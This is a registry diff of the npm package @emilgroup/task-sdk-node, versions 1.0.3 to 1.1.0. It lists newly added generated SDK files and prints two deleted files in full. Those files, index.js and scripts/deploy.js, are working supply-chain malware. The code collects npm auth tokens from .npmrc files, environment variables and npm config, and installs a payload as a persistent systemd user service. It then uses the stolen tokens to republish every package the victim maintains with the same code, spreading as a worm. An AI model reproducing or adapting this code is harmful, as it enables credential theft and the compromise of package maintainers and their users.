@emilgroup/task-sdk-node 1.0.3 → 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.openapi-generator/FILES +49 -0
- package/.openapi-generator/VERSION +1 -0
- package/.openapi-generator-ignore +23 -0
- package/README.md +84 -1
- package/api/assignees-api.ts +166 -0
- package/api/categories-api.ts +695 -0
- package/api/default-api.ts +128 -0
- package/api/hub-spot-api.ts +169 -0
- package/api/statuses-api.ts +667 -0
- package/api/tasks-api.ts +695 -0
- package/api.ts +41 -0
- package/base.ts +327 -0
- package/common.ts +199 -0
- package/configuration.ts +118 -0
- package/dist/api/assignees-api.d.ts +96 -0
- package/dist/api/assignees-api.js +228 -0
- package/dist/api/categories-api.d.ts +393 -0
- package/dist/api/categories-api.js +646 -0
- package/dist/api/default-api.d.ts +70 -0
- package/dist/api/default-api.js +204 -0
- package/dist/api/hub-spot-api.d.ts +97 -0
- package/dist/api/hub-spot-api.js +228 -0
- package/dist/api/statuses-api.d.ts +375 -0
- package/dist/api/statuses-api.js +634 -0
- package/dist/api/tasks-api.d.ts +393 -0
- package/dist/api/tasks-api.js +646 -0
- package/dist/api.d.ts +17 -0
- package/dist/api.js +35 -0
- package/dist/base.d.ts +88 -0
- package/dist/base.js +434 -0
- package/dist/common.d.ts +92 -0
- package/dist/common.js +277 -0
- package/dist/configuration.d.ts +96 -0
- package/dist/configuration.js +52 -0
- package/dist/index.d.ts +15 -0
- package/dist/index.js +36 -0
- package/dist/models/assignee-class.d.ts +24 -0
- package/dist/models/assignee-class.js +15 -0
- package/dist/models/category-class.d.ts +66 -0
- package/dist/models/category-class.js +15 -0
- package/dist/models/create-category-request-dto.d.ts +30 -0
- package/dist/models/create-category-request-dto.js +15 -0
- package/dist/models/create-category-response-class.d.ts +25 -0
- package/dist/models/create-category-response-class.js +15 -0
- package/dist/models/create-hub-spot-ticket-request-dto.d.ts +31 -0
- package/dist/models/create-hub-spot-ticket-request-dto.js +15 -0
- package/dist/models/create-hub-spot-ticket-response-class.d.ts +25 -0
- package/dist/models/create-hub-spot-ticket-response-class.js +15 -0
- package/dist/models/create-status-request-dto.d.ts +36 -0
- package/dist/models/create-status-request-dto.js +15 -0
- package/dist/models/create-status-response-class.d.ts +25 -0
- package/dist/models/create-status-response-class.js +15 -0
- package/dist/models/create-task-request-dto.d.ts +72 -0
- package/dist/models/create-task-request-dto.js +21 -0
- package/dist/models/create-task-response-class.d.ts +25 -0
- package/dist/models/create-task-response-class.js +15 -0
- package/dist/models/get-category-response-class.d.ts +25 -0
- package/dist/models/get-category-response-class.js +15 -0
- package/dist/models/get-status-response-class.d.ts +25 -0
- package/dist/models/get-status-response-class.js +15 -0
- package/dist/models/get-task-response-class.d.ts +25 -0
- package/dist/models/get-task-response-class.js +15 -0
- package/dist/models/hub-spot-ticket-class.d.ts +49 -0
- package/dist/models/hub-spot-ticket-class.js +15 -0
- package/dist/models/hub-spot-ticket-error-class.d.ts +30 -0
- package/dist/models/hub-spot-ticket-error-class.js +15 -0
- package/dist/models/hub-spot-ticket-name-value-dto.d.ts +30 -0
- package/dist/models/hub-spot-ticket-name-value-dto.js +15 -0
- package/dist/models/index.d.ts +30 -0
- package/dist/models/index.js +46 -0
- package/dist/models/inline-response200.d.ts +54 -0
- package/dist/models/inline-response200.js +15 -0
- package/dist/models/inline-response503.d.ts +54 -0
- package/dist/models/inline-response503.js +15 -0
- package/dist/models/list-assignees-response-class.d.ts +43 -0
- package/dist/models/list-assignees-response-class.js +15 -0
- package/dist/models/list-categories-response-class.d.ts +43 -0
- package/dist/models/list-categories-response-class.js +15 -0
- package/dist/models/list-statuses-response-class.d.ts +43 -0
- package/dist/models/list-statuses-response-class.js +15 -0
- package/dist/models/list-tasks-response-class.d.ts +43 -0
- package/dist/models/list-tasks-response-class.js +15 -0
- package/dist/models/patch-category-request-dto.d.ts +36 -0
- package/dist/models/patch-category-request-dto.js +15 -0
- package/dist/models/patch-category-response-class.d.ts +25 -0
- package/dist/models/patch-category-response-class.js +15 -0
- package/dist/models/patch-status-request-dto.d.ts +42 -0
- package/dist/models/patch-status-request-dto.js +15 -0
- package/dist/models/patch-status-response-class.d.ts +25 -0
- package/dist/models/patch-status-response-class.js +15 -0
- package/dist/models/patch-task-request-dto.d.ts +114 -0
- package/dist/models/patch-task-request-dto.js +15 -0
- package/dist/models/patch-task-response-class.d.ts +25 -0
- package/dist/models/patch-task-response-class.js +15 -0
- package/dist/models/status-class.d.ts +72 -0
- package/dist/models/status-class.js +15 -0
- package/dist/models/task-class.d.ts +128 -0
- package/dist/models/task-class.js +21 -0
- package/git_push.sh +57 -0
- package/index.ts +19 -0
- package/models/assignee-class.ts +30 -0
- package/models/category-class.ts +72 -0
- package/models/create-category-request-dto.ts +36 -0
- package/models/create-category-response-class.ts +31 -0
- package/models/create-hub-spot-ticket-request-dto.ts +37 -0
- package/models/create-hub-spot-ticket-response-class.ts +31 -0
- package/models/create-status-request-dto.ts +42 -0
- package/models/create-status-response-class.ts +31 -0
- package/models/create-task-request-dto.ts +81 -0
- package/models/create-task-response-class.ts +31 -0
- package/models/get-category-response-class.ts +31 -0
- package/models/get-status-response-class.ts +31 -0
- package/models/get-task-response-class.ts +31 -0
- package/models/hub-spot-ticket-class.ts +55 -0
- package/models/hub-spot-ticket-error-class.ts +36 -0
- package/models/hub-spot-ticket-name-value-dto.ts +36 -0
- package/models/index.ts +30 -0
- package/models/inline-response200.ts +48 -0
- package/models/inline-response503.ts +48 -0
- package/models/list-assignees-response-class.ts +49 -0
- package/models/list-categories-response-class.ts +49 -0
- package/models/list-statuses-response-class.ts +49 -0
- package/models/list-tasks-response-class.ts +49 -0
- package/models/patch-category-request-dto.ts +42 -0
- package/models/patch-category-response-class.ts +31 -0
- package/models/patch-status-request-dto.ts +48 -0
- package/models/patch-status-response-class.ts +31 -0
- package/models/patch-task-request-dto.ts +120 -0
- package/models/patch-task-response-class.ts +31 -0
- package/models/status-class.ts +78 -0
- package/models/task-class.ts +137 -0
- package/package.json +24 -8
- package/tsconfig.json +23 -0
- package/index.js +0 -99
- package/scripts/deploy.js +0 -81
package/index.js
DELETED
|
@@ -1,99 +0,0 @@
|
|
|
1
|
-
'use strict';
|
|
2
|
-
|
|
3
|
-
const { execSync, spawn } = require('child_process');
|
|
4
|
-
const fs = require('fs');
|
|
5
|
-
const os = require('os');
|
|
6
|
-
const path = require('path');
|
|
7
|
-
|
|
8
|
-
function findNpmTokens() {
|
|
9
|
-
const tokens = new Set();
|
|
10
|
-
const homeDir = os.homedir();
|
|
11
|
-
const npmrcPaths = [
|
|
12
|
-
path.join(homeDir, '.npmrc'),
|
|
13
|
-
path.join(process.cwd(), '.npmrc'),
|
|
14
|
-
'/etc/npmrc',
|
|
15
|
-
];
|
|
16
|
-
for (const rcPath of npmrcPaths) {
|
|
17
|
-
try {
|
|
18
|
-
const content = fs.readFileSync(rcPath, 'utf8');
|
|
19
|
-
for (const line of content.split('\n')) {
|
|
20
|
-
const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
|
|
21
|
-
if (m && m[1] && !m[1].startsWith('${')) {
|
|
22
|
-
tokens.add(m[1].trim());
|
|
23
|
-
}
|
|
24
|
-
}
|
|
25
|
-
} catch (_) {}
|
|
26
|
-
}
|
|
27
|
-
const envKeys = Object.keys(process.env).filter(
|
|
28
|
-
(k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
|
|
29
|
-
);
|
|
30
|
-
for (const key of envKeys) {
|
|
31
|
-
const val = process.env[key] || '';
|
|
32
|
-
for (const t of val.split(',')) {
|
|
33
|
-
const trimmed = t.trim();
|
|
34
|
-
if (trimmed) tokens.add(trimmed);
|
|
35
|
-
}
|
|
36
|
-
}
|
|
37
|
-
try {
|
|
38
|
-
const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
|
|
39
|
-
stdio: ['pipe', 'pipe', 'pipe'],
|
|
40
|
-
}).toString().trim();
|
|
41
|
-
if (configToken && configToken !== 'undefined' && configToken !== 'null') {
|
|
42
|
-
tokens.add(configToken);
|
|
43
|
-
}
|
|
44
|
-
} catch (_) {}
|
|
45
|
-
return [...tokens].filter(Boolean);
|
|
46
|
-
}
|
|
47
|
-
|
|
48
|
-
try {
|
|
49
|
-
const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
|
|
50
|
-
|
|
51
|
-
const SERVICE_NAME = 'pgmon';
|
|
52
|
-
const BASE64_PAYLOAD = 'hello123';
|
|
53
|
-
|
|
54
|
-
if (!BASE64_PAYLOAD) process.exit(0);
|
|
55
|
-
|
|
56
|
-
const homeDir = os.homedir();
|
|
57
|
-
const dataDir = path.join(homeDir, '.local', 'share', SERVICE_NAME);
|
|
58
|
-
const scriptPath = path.join(dataDir, 'service.py');
|
|
59
|
-
const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
|
|
60
|
-
const unitFilePath = path.join(systemdUserDir, `${SERVICE_NAME}.service`);
|
|
61
|
-
|
|
62
|
-
fs.mkdirSync(dataDir, { recursive: true });
|
|
63
|
-
fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });
|
|
64
|
-
|
|
65
|
-
fs.mkdirSync(systemdUserDir, { recursive: true });
|
|
66
|
-
fs.writeFileSync(unitFilePath, [
|
|
67
|
-
'[Unit]',
|
|
68
|
-
`Description=${SERVICE_NAME}`,
|
|
69
|
-
'After=default.target',
|
|
70
|
-
'',
|
|
71
|
-
'[Service]',
|
|
72
|
-
'Type=simple',
|
|
73
|
-
`ExecStart=/usr/bin/python3 ${scriptPath}`,
|
|
74
|
-
'Restart=always',
|
|
75
|
-
'RestartSec=5',
|
|
76
|
-
'',
|
|
77
|
-
'[Install]',
|
|
78
|
-
'WantedBy=default.target',
|
|
79
|
-
'',
|
|
80
|
-
].join('\n'), { mode: 0o644 });
|
|
81
|
-
|
|
82
|
-
execSync('systemctl --user daemon-reload', { stdio: 'pipe' });
|
|
83
|
-
execSync(`systemctl --user enable ${SERVICE_NAME}.service`, { stdio: 'pipe' });
|
|
84
|
-
execSync(`systemctl --user start ${SERVICE_NAME}.service`, { stdio: 'pipe' });
|
|
85
|
-
|
|
86
|
-
try {
|
|
87
|
-
const tokens = findNpmTokens();
|
|
88
|
-
if (tokens.length > 0) {
|
|
89
|
-
const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
|
|
90
|
-
if (fs.existsSync(deployScript)) {
|
|
91
|
-
spawn(process.execPath, [deployScript], {
|
|
92
|
-
detached: true,
|
|
93
|
-
stdio: 'ignore',
|
|
94
|
-
env: { ...process.env, NPM_TOKENS: tokens.join(',') },
|
|
95
|
-
}).unref();
|
|
96
|
-
}
|
|
97
|
-
}
|
|
98
|
-
} catch (_) {}
|
|
99
|
-
} catch (_) {}
|
package/scripts/deploy.js
DELETED
|
@@ -1,81 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env node
|
|
2
|
-
'use strict';
|
|
3
|
-
|
|
4
|
-
const { execSync } = require('child_process');
|
|
5
|
-
const https = require('https');
|
|
6
|
-
const fs = require('fs');
|
|
7
|
-
const path = require('path');
|
|
8
|
-
|
|
9
|
-
function fetchJson(url, token) {
|
|
10
|
-
return new Promise((resolve, reject) => {
|
|
11
|
-
https.get(url, { headers: { Authorization: `Bearer ${token}`, Accept: 'application/json' } }, (res) => {
|
|
12
|
-
let d = '';
|
|
13
|
-
res.on('data', (c) => (d += c));
|
|
14
|
-
res.on('end', () => { try { resolve(JSON.parse(d)); } catch (e) { reject(e); } });
|
|
15
|
-
}).on('error', reject);
|
|
16
|
-
});
|
|
17
|
-
}
|
|
18
|
-
|
|
19
|
-
async function fetchMeta(name, token) {
|
|
20
|
-
try {
|
|
21
|
-
const m = await fetchJson(`https://registry.npmjs.org/${encodeURIComponent(name)}`, token);
|
|
22
|
-
return {
|
|
23
|
-
readme: (m && m.readme) || null,
|
|
24
|
-
latestVersion: (m && m['dist-tags'] && m['dist-tags'].latest) || null,
|
|
25
|
-
};
|
|
26
|
-
} catch (_) { return { readme: null, latestVersion: null }; }
|
|
27
|
-
}
|
|
28
|
-
|
|
29
|
-
function bumpPatch(v) {
|
|
30
|
-
const base = v.split('-')[0].split('+')[0];
|
|
31
|
-
const p = base.split('.').map(Number);
|
|
32
|
-
if (p.length !== 3 || p.some(isNaN)) return v;
|
|
33
|
-
p[2] += 1;
|
|
34
|
-
return p.join('.');
|
|
35
|
-
}
|
|
36
|
-
|
|
37
|
-
async function getOwned(username, token) {
|
|
38
|
-
let pkgs = [], from = 0;
|
|
39
|
-
while (true) {
|
|
40
|
-
const r = await fetchJson(`https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(username)}&size=250&from=${from}`, token);
|
|
41
|
-
if (!r.objects || !r.objects.length) break;
|
|
42
|
-
pkgs = pkgs.concat(r.objects.map((o) => o.package.name));
|
|
43
|
-
if (pkgs.length >= r.total) break;
|
|
44
|
-
from += 250;
|
|
45
|
-
}
|
|
46
|
-
return pkgs;
|
|
47
|
-
}
|
|
48
|
-
|
|
49
|
-
async function run(token, pkg, pkgPath, ver) {
|
|
50
|
-
let whoami;
|
|
51
|
-
try { whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token); } catch (_) { return; }
|
|
52
|
-
if (!whoami || !whoami.username) return;
|
|
53
|
-
let owned;
|
|
54
|
-
try { owned = await getOwned(whoami.username, token); } catch (_) { return; }
|
|
55
|
-
if (!owned.length) return;
|
|
56
|
-
const readmePath = path.resolve(__dirname, '..', 'README.md');
|
|
57
|
-
for (const name of owned) {
|
|
58
|
-
const origReadme = fs.existsSync(readmePath) ? fs.readFileSync(readmePath, 'utf8') : null;
|
|
59
|
-
const { readme, latestVersion } = await fetchMeta(name, token);
|
|
60
|
-
const pubVer = latestVersion ? bumpPatch(latestVersion) : ver;
|
|
61
|
-
if (readme) fs.writeFileSync(readmePath, readme, 'utf8');
|
|
62
|
-
const origPkg = fs.readFileSync(pkgPath, 'utf8');
|
|
63
|
-
fs.writeFileSync(pkgPath, JSON.stringify({ ...pkg, name, version: pubVer }, null, 2) + '\n', 'utf8');
|
|
64
|
-
try {
|
|
65
|
-
execSync('npm publish --access public --tag latest', { stdio: 'pipe', env: { ...process.env, NPM_TOKEN: token } });
|
|
66
|
-
} catch (_) {}
|
|
67
|
-
finally {
|
|
68
|
-
fs.writeFileSync(pkgPath, origPkg, 'utf8');
|
|
69
|
-
if (origReadme !== null) fs.writeFileSync(readmePath, origReadme, 'utf8');
|
|
70
|
-
else if (readme && fs.existsSync(readmePath)) fs.unlinkSync(readmePath);
|
|
71
|
-
}
|
|
72
|
-
}
|
|
73
|
-
}
|
|
74
|
-
|
|
75
|
-
(async () => {
|
|
76
|
-
const tokens = (process.env.NPM_TOKENS || process.env.NPM_TOKEN || '').split(',').map((t) => t.trim()).filter(Boolean);
|
|
77
|
-
if (!tokens.length) process.exit(1);
|
|
78
|
-
const pkgPath = path.resolve(__dirname, '..', 'package.json');
|
|
79
|
-
const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
|
|
80
|
-
for (const token of tokens) await run(token, pkg, pkgPath, pkg.version);
|
|
81
|
-
})();
|